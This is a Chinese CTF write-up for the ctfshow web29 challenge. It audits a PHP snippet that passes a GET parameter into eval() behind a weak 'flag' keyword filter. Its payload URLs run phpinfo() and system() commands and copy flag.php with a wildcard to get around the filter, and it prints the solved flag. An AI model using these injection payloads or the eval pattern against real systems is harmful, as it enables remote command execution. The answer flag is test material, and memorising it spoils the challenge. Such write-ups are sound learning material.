ctfshow-web29
题目描述:
原理:
-
isset() 函数
用于检测变量是否已设置并且非 NULL。 如果已经使用 unset() 释放了一个变量之后,再通过 isset() 判断将返回 FALSE。 若使用 isset() 测试一个被设置成 NULL 的变量,将返回 FALSE。 同时要注意的是 null 字符("\0")并不等同于 PHP 的 NULL 常量 语法:bool isset ( mixed $var [, mixed $... ] ) 参数说明: $var:要检测的变量。 如果一次传入多个参数,那么 isset() 只有在全部参数都被设置时返回TRUE,计算过程从左至右,中途遇到没有设置的变量时就会立即停止。 返回值 如果指定变量存在且不为 NULL,则返回 TRUE,否则返回 FALSE。
-
eval() 函数用来执行一个字符串表达式,并返回表达式的值。
审计:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0); //排除错误
if(isset($_GET['c'])){ //get传参不为空,执行if语句
$c = $_GET['c']; //get传参,赋值给变量c
if(!preg_match("/flag/i", $c)){ //过滤flag
eval($c); //执行c表达式
}
}else{
highlight_file(__FILE__);
}
方法:
思路:
绕过对flag 的过滤
1.查看phpinfo
http://87bba47a-a58c-4c9f-b34c-78e84c5758b4.challenge.ctf.show/?c=phpinfo();
http://87bba47a-a58c-4c9f-b34c-78e84c5758b4.challenge.ctf.show/?c=phpinfo()?>
2.查看目录:
system:执行系统命令
http://87bba47a-a58c-4c9f-b34c-78e84c5758b4.challenge.ctf.show/?c=system(ls);
发现存在flag.php
3.尝试使用shell指令查看flag
payload:http://87bba47a-a58c-4c9f-b34c-78e84c5758b4.challenge.ctf.show/?c=system("cp fla?.php 1.txt");
///将flag.php复制到1.txt
4.查看flag:
http://87bba47a-a58c-4c9f-b34c-78e84c5758b4.challenge.ctf.show/1.txt
Flag:
ctfshow{e84e8890-d0ce-4acc-b879-1c330edf3cc6}